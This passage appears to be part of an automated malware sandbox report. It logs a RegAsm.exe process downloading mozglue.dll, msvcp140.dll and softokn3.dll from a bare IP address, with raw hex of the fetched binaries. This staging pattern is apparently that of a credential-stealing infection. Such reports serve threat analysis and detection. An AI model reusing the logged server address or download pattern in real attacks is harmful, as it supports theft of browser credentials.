81 e2 ff ff ff 1f 01 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49725	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:37 UTC	196	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:38 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:38 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:38 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:38 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: ff ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: e9 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: 00 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: e9 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: 04 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: 81 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: 0b 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-25 18:49:38 UTC	16384	IN	Data Raw: 10 b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49726	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:39 UTC	197	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:40 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:39 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:39 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:40 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: 00 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mn
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: 00 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: 18 d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: 6a 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 Data Ascii: jatAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: 85 c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: f0 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: e8 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv
2024-09-25 18:49:40 UTC	16384	IN	Data Raw: f6 e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49727	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:42 UTC	197	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
